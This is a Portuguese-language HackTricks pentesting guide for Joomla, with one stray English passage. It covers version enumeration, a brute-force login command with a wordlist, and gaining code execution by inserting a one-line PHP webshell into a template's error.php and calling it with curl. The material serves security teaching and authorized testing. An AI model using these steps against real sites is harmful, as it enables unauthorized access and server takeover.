hacktricks/network-services-pentesting/pentesting-web/joomla.md

5 KiB

Joomla

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Estatísticas do Joomla

O Joomla coleta algumas estatísticas de uso anônimas, como a distribuição das versões do Joomla, PHP e banco de dados, e sistemas operacionais de servidor em uso nas instalações do Joomla. Esses dados podem ser consultados por meio de sua API.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeração

Descoberta/Rastreamento

  • Verifique o meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

Joomla

Joomla Enumeration

Joomla websites can be enumerated using tools like joomscan or Joomlavs. These tools can help identify the Joomla version, installed components, templates, and modules.

Joomla Exploitation

Once vulnerabilities are identified, they can be exploited using tools like JoomRAT or manually by leveraging known exploits for the specific Joomla version.

Joomla Post-Exploitation

After gaining access to a Joomla website, post-exploitation activities can include privilege escalation, data exfiltration, or maintaining access through backdoors or webshells.

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Versão

  • Em /administrator/manifests/files/joomla.xml você pode ver a versão.
  • Em /language/en-GB/en-GB.xml você pode obter a versão do Joomla.
  • Em plugins/system/cache/cache.xml você pode ver uma versão aproximada.
droopescan scan joomla --url http://joomla-site.local/

Brute-Force

Você pode usar este script para tentar fazer força bruta no login.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Se você conseguiu obter credenciais de admin, você pode RCE dentro dela adicionando um trecho de código PHP para obter RCE. Podemos fazer isso personalizando um template.

  1. Clique em Templates na parte inferior esquerda em Configuração para abrir o menu de templates.
  2. Clique em um nome de template. Vamos escolher protostar sob o cabeçalho da coluna Template. Isso nos levará à página Templates: Personalizar.
  3. Por fim, você pode clicar em uma página para abrir a fonte da página. Vamos escolher a página error.php. Vamos adicionar um comando PHP de uma linha para obter execução de código da seguinte forma:
  4. system($_GET['cmd']);
  5. Salvar e Fechar
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id